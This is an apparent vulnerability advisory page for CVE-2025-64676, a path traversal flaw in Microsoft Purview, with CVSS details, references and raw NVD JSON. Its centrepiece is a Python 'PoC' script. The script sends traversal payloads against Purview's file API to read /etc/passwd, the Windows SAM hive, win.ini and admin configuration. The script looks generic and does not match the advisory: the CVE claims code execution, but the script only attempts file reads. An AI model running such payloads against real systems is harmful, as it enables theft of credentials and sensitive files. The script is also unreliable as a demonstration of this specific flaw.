CVE-2025-64676

Description

'.../...//' in Microsoft Purview allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score

7.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:purview:-:*:*:*:*:*:*:* - VULNERABLE

Microsoft Purview（具体版本待官方确认）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64676 PoC - Path Traversal in Microsoft Purview
# Target: Microsoft Purview (authenticated access required)

import requests
import urllib.parse

TARGET_URL = "https://vulnerable-purview-instance.microsoftpurview.com"

# Path traversal payload using '.../...//' sequence
def test_path_traversal():
    """
    Test for CVE-2025-64676 path traversal vulnerability
    The payload '.../...//' can escape the intended directory
    """
    
    # Payload 1: Access sensitive configuration files
    path_traversal_payloads = [
        ".../...//etc/passwd",
        ".../...//windows/system32/config/sam",
        ".../...//../../../../windows/win.ini",
        ".../...//api/v1/admin/config",
    ]
    
    for payload in path_traversal_payloads:
        url = f"{TARGET_URL}/api/files/{urllib.parse.quote(payload)}"
        headers = {
            "Authorization": "Bearer <HIGH_PRIVILEGE_TOKEN>",
            "User-Agent": "Mozilla/5.0"
        }
        
        try:
            response = requests.get(url, headers=headers, timeout=10)
            if response.status_code == 200:
                print(f"[+] Vulnerable! Payload: {payload}")
                print(f"Response: {response.text[:500]}")
            else:
                print(f"[-] Not vulnerable or token invalid. Status: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"[!] Request failed: {e}")

if __name__ == "__main__":
    print("CVE-2025-64676 Microsoft Purview Path Traversal Test")
    test_path_traversal()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64676
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64676
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64676/
[4] VulDB https://vuldb.com/cve/CVE-2025-64676
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64676

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64676", "sourceIdentifier": "[email protected]", "published": "2025-12-18T22:16:00.910", "lastModified": "2026-02-10T20:16:52.253", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "'.../...//' in Microsoft Purview allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-35"}, {"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:purview:-:*:*:*:*:*:*:*", "matchCriteriaId": "7387D350-6697-4865-BF5B-1D36F1B1A8DF"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64676", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}